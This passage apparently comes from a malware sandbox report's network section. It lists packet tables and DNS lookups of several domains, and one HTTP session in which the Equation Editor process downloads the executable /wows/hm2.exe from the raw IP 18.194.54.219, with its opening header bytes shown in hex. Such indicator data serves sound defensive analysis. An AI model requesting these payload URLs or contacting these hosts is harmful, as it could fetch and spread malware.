Jan 27, 2021 20:06:16.544325113 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544333935 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544356108 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544375896 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544397116 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544418097 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544445992 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.544464111 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.544496059 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545258045 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545283079 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545306921 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545316935 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545334101 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545340061 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545356989 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545378923 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545402050 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545418024 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545433998 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545455933 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545470953 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545490026 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545496941 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545527935 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545535088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545582056 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545604944 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545614958 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545627117 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545643091 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545654058 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545675993 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545691967 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545711040 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545717955 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545739889 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545763016 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545773029 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545787096 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545806885 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545819998 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545845032 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545860052 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545881033 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545886993 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545909882 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545922041 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545943975 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545957088 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.545975924 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.545984983 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546006918 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546015024 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546036005 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546046019 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546072960 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546083927 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546111107 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546123981 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546148062 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546154976 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546186924 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546194077 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546225071 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546233892 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546262026 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546271086 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546294928 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546308041 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546329021 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546350956 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546363115 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546401024 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546421051 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546442986 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546464920 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546482086 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546504974 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546513081 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546536922 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546546936 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546586990 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546608925 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546618938 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546622992 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546648979 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546665907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546688080 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546704054 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546717882 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546730042 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546772957 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546796083 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546823978 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546849012 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546870947 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546897888 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546905994 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546911001 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546912909 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546916008 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546917915 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546921968 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546953917 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.546962023 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.546986103 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547003984 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547035933 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547064066 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547087908 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547110081 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547132015 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547148943 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547158957 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547185898 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547214031 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547236919 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547259092 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547270060 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547302008 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547308922 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547328949 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547338963 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547358990 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547369957 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547385931 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547401905 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547416925 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547434092 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547446012 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547465086 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547485113 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547497034 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547518969 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547528982 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547549963 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547564983 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547589064 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547599077 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547614098 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547636032 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547646999 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547667980 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547689915 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547705889 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547715902 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547746897 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547755957 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547782898 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547801018 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547821999 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547832012 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547859907 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547872066 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547894001 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547903061 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547930956 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547943115 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.547969103 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.547976971 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548003912 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.548017979 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548038960 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.548048973 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548074961 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.548099041 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548110008 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.548132896 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548150063 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.548160076 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548187017 CET	80	49165	18.194.54.219	192.168.2.22
Jan 27, 2021 20:06:16.548192978 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.548235893 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.549957037 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:16.563062906 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:06:17.130688906 CET	49165	80	192.168.2.22	18.194.54.219
Jan 27, 2021 20:07:24.763271093 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:24.803561926 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:24.803760052 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:24.804033041 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:24.844290018 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:24.943315983 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:24.943360090 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:24.943603992 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:24.943815947 CET	49166	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:24.985194921 CET	80	49166	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:35.031596899 CET	49167	80	192.168.2.22	66.152.187.17
Jan 27, 2021 20:07:35.227852106 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.227967978 CET	49167	80	192.168.2.22	66.152.187.17
Jan 27, 2021 20:07:35.228283882 CET	49167	80	192.168.2.22	66.152.187.17
Jan 27, 2021 20:07:35.425915003 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.478817940 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.478876114 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.478915930 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.478954077 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.478995085 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.479021072 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:35.479043961 CET	49167	80	192.168.2.22	66.152.187.17
Jan 27, 2021 20:07:35.479137897 CET	49167	80	192.168.2.22	66.152.187.17
Jan 27, 2021 20:07:35.479264975 CET	49167	80	192.168.2.22	66.152.187.17
Jan 27, 2021 20:07:35.677099943 CET	80	49167	66.152.187.17	192.168.2.22
Jan 27, 2021 20:07:40.575522900 CET	49168	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:40.615926981 CET	80	49168	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:40.616031885 CET	49168	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:40.616339922 CET	49168	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:40.656574011 CET	80	49168	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:40.755337954 CET	80	49168	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:40.755397081 CET	80	49168	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:40.755538940 CET	49168	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:40.755669117 CET	49168	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:40.795790911 CET	80	49168	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:45.826477051 CET	49169	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:45.866290092 CET	80	49169	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:45.866413116 CET	49169	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:45.866683960 CET	49169	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:45.906366110 CET	80	49169	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:46.006191015 CET	80	49169	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:46.006232023 CET	80	49169	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:46.006479025 CET	49169	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:46.006542921 CET	49169	80	192.168.2.22	34.102.136.180
Jan 27, 2021 20:07:46.046528101 CET	80	49169	34.102.136.180	192.168.2.22
Jan 27, 2021 20:07:51.096081972 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.262307882 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.262480021 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.262765884 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.429506063 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432032108 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432077885 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432112932 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432140112 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432176113 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432220936 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432260990 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432296991 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432315111 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.432336092 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432369947 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.432375908 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.432394981 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.432533026 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.600979090 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.601068974 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.601157904 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.601203918 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.601222992 CET	80	49170	198.185.159.144	192.168.2.22
Jan 27, 2021 20:07:51.601269960 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.601277113 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:51.601293087 CET	49170	80	192.168.2.22	198.185.159.144
Jan 27, 2021 20:07:56.546185970 CET	49171	80	192.168.2.22	31.220.110.116
Jan 27, 2021 20:07:56.861613989 CET	80	49171	31.220.110.116	192.168.2.22
Jan 27, 2021 20:07:56.861879110 CET	49171	80	192.168.2.22	31.220.110.116
Jan 27, 2021 20:07:56.862134933 CET	49171	80	192.168.2.22	31.220.110.116
Jan 27, 2021 20:07:57.176579952 CET	80	49171	31.220.110.116	192.168.2.22
Jan 27, 2021 20:07:57.176649094 CET	80	49171	31.220.110.116	192.168.2.22
Jan 27, 2021 20:07:57.176693916 CET	80	49171	31.220.110.116	192.168.2.22
Jan 27, 2021 20:07:57.176733017 CET	80	49171	31.220.110.116	192.168.2.22
Jan 27, 2021 20:07:57.176758051 CET	80	49171	31.220.110.116	192.168.2.22
Jan 27, 2021 20:07:57.176871061 CET	49171	80	192.168.2.22	31.220.110.116
Jan 27, 2021 20:07:57.176914930 CET	49171	80	192.168.2.22	31.220.110.116
Jan 27, 2021 20:07:57.176964998 CET	49171	80	192.168.2.22	31.220.110.116
Jan 27, 2021 20:07:57.494621038 CET	80	49171	31.220.110.116	192.168.2.22

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 27, 2021 20:07:24.683485031 CET	52197	53	192.168.2.22	8.8.8.8
Jan 27, 2021 20:07:24.744771004 CET	53	52197	8.8.8.8	192.168.2.22
Jan 27, 2021 20:07:34.962502956 CET	53099	53	192.168.2.22	8.8.8.8
Jan 27, 2021 20:07:35.030286074 CET	53	53099	8.8.8.8	192.168.2.22
Jan 27, 2021 20:07:40.512409925 CET	52838	53	192.168.2.22	8.8.8.8
Jan 27, 2021 20:07:40.573688984 CET	53	52838	8.8.8.8	192.168.2.22
Jan 27, 2021 20:07:45.761353970 CET	61200	53	192.168.2.22	8.8.8.8
Jan 27, 2021 20:07:45.824455023 CET	53	61200	8.8.8.8	192.168.2.22
Jan 27, 2021 20:07:51.018945932 CET	49548	53	192.168.2.22	8.8.8.8
Jan 27, 2021 20:07:51.093929052 CET	53	49548	8.8.8.8	192.168.2.22
Jan 27, 2021 20:07:56.471538067 CET	55627	53	192.168.2.22	8.8.8.8
Jan 27, 2021 20:07:56.543636084 CET	53	55627	8.8.8.8	192.168.2.22
Jan 27, 2021 20:08:02.182173967 CET	56009	53	192.168.2.22	8.8.8.8

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class
Jan 27, 2021 20:07:24.683485031 CET	192.168.2.22	8.8.8.8	0xccff	Standard query (0)	www.kolamart.com	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:34.962502956 CET	192.168.2.22	8.8.8.8	0x2e78	Standard query (0)	www.mgg360.com	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:40.512409925 CET	192.168.2.22	8.8.8.8	0x2f03	Standard query (0)	www.rizrvd.com	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:45.761353970 CET	192.168.2.22	8.8.8.8	0x3c4e	Standard query (0)	www.activagebenefits.net	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:51.018945932 CET	192.168.2.22	8.8.8.8	0x6ec7	Standard query (0)	www.usmedicarenow.com	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:56.471538067 CET	192.168.2.22	8.8.8.8	0xf09a	Standard query (0)	www.ismaelworks.com	A (IP address)	IN (0x0001)
Jan 27, 2021 20:08:02.182173967 CET	192.168.2.22	8.8.8.8	0x18f7	Standard query (0)	www.tuvandadayvitos24h.online	A (IP address)	IN (0x0001)

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class
Jan 27, 2021 20:07:24.744771004 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	www.kolamart.com	kolamart.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 20:07:24.744771004 CET	8.8.8.8	192.168.2.22	0xccff	No error (0)	kolamart.com		34.102.136.180	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:35.030286074 CET	8.8.8.8	192.168.2.22	0x2e78	No error (0)	www.mgg360.com		66.152.187.17	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:40.573688984 CET	8.8.8.8	192.168.2.22	0x2f03	No error (0)	www.rizrvd.com	rizrvd.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 20:07:40.573688984 CET	8.8.8.8	192.168.2.22	0x2f03	No error (0)	rizrvd.com		34.102.136.180	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:45.824455023 CET	8.8.8.8	192.168.2.22	0x3c4e	No error (0)	www.activagebenefits.net	activagebenefits.net		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 20:07:45.824455023 CET	8.8.8.8	192.168.2.22	0x3c4e	No error (0)	activagebenefits.net		34.102.136.180	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:51.093929052 CET	8.8.8.8	192.168.2.22	0x6ec7	No error (0)	www.usmedicarenow.com	ext-sq.squarespace.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 20:07:51.093929052 CET	8.8.8.8	192.168.2.22	0x6ec7	No error (0)	ext-sq.squarespace.com		198.185.159.144	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:51.093929052 CET	8.8.8.8	192.168.2.22	0x6ec7	No error (0)	ext-sq.squarespace.com		198.185.159.145	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:51.093929052 CET	8.8.8.8	192.168.2.22	0x6ec7	No error (0)	ext-sq.squarespace.com		198.49.23.144	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:51.093929052 CET	8.8.8.8	192.168.2.22	0x6ec7	No error (0)	ext-sq.squarespace.com		198.49.23.145	A (IP address)	IN (0x0001)
Jan 27, 2021 20:07:56.543636084 CET	8.8.8.8	192.168.2.22	0xf09a	No error (0)	www.ismaelworks.com	ismaelworks.com		CNAME (Canonical name)	IN (0x0001)
Jan 27, 2021 20:07:56.543636084 CET	8.8.8.8	192.168.2.22	0xf09a	No error (0)	ismaelworks.com		31.220.110.116	A (IP address)	IN (0x0001)

HTTP Request Dependency Graph

18.194.54.219

www.kolamart.com

www.mgg360.com

www.rizrvd.com

www.activagebenefits.net

www.usmedicarenow.com

www.ismaelworks.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
0	192.168.2.22	49165	18.194.54.219	80	C:\Program Files\Common Files\Microsoft Shared\EQUATION\EQNEDT32.EXE

Timestamp	kBytes transferred	Direction	Data
Jan 27, 2021 20:06:16.158596992 CET	0	OUT	GET /wows/hm2.exe HTTP/1.1 Accept: / Accept-Encoding: gzip, deflate User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E) Host: 18.194.54.219 Connection: Keep-Alive
Jan 27, 2021 20:06:16.200130939 CET	1	IN	HTTP/1.1 200 OK Date: Wed, 27 Jan 2021 19:06:06 GMT Server: Apache/2.4.43 (Win64) OpenSSL/1.1.1g PHP/7.4.7 Last-Modified: Wed, 27 Jan 2021 13:44:29 GMT ETag: "df000-5b9e1f85fb6d0" Accept-Ranges: bytes Content-Length: 913408 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: application/x-msdownload Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 ac 6d 11 60 00 00 00 